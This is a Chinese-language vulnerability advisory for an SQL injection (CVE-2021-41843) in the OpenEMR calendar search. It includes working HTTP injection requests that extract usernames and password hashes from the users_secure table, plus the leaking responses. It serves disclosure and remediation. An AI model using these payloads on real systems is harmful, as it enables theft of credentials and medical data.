受影响的产品:OpenEMR Web 应用程序
测试版本:6.0.0、6.1.0-dev
供应商:OpenEMR 项目
https://www.open-emr.org
OpenEMR Web 应用程序是一种医疗实践管理软件,可以 用于存储电子病历。
Trovent Security GmbH 在搜索中发现了一个 SQL 注入漏洞 日历模块的功能。参数“provider_id”是可注入的。 攻击者需要一个有效的用户帐户才能访问日历模块 Web应用程序。可以从数据库的所有表中读取数据。
严重性:中 CVSS 分数:6.5(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE ID:CWE-89 CVE ID:CVE-2021-41843
概念证明
(1) 从数据库表'openemr.users_secure'中读取用户名的HTTP请求:
POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09%2F16%2F2021&end=09%2F23%2F2021& provider_id=%28UPDATEXML%281%2CCONCAT%280x2e%2C0x20%2C%28SELECT%20MID%28%28IFNULL%28CAST%28username %20AS%20NCHAR%29%2C0x20%29%29%2C1%2C22%29%20FROM%20openemr.users_secure%20ORDER%20BY%20id%29%29%2C1%29%29&pc_facility=&submit=Submit
(2) 对 (1) 的 HTTP 响应:
HTTP/1.1 200 正常
XPATH 语法错误:'admin'
(3) HTTP请求从数据库表'openemr.users_secure'中读取密码哈希:
POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1
pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09%2F16%2F2021&end=09%2F23%2F2021& provider_id=%28UPDATEXML%281%2CCONCAT%280x2e%2C0x20%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password %20AS%20NCHAR%29%2C0x20%29%29%2C1%2C22%29%20FROM%20openemr.users_secure%20ORDER%20BY%20id%29%29%2C1%29%29&pc_facility=&submit=Submit
(4) 对 (3) 的 HTTP 响应:
HTTP/1.1 200 正常
XPATH 语法错误:“$2y$10$ukudH2lRSW2vKX。”
解决方案
在漏洞修复之前限制对日历搜索功能的访问。 在 OpenEMR 版本 6.0.0 补丁 3 中修复,由 Trovent 验证。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。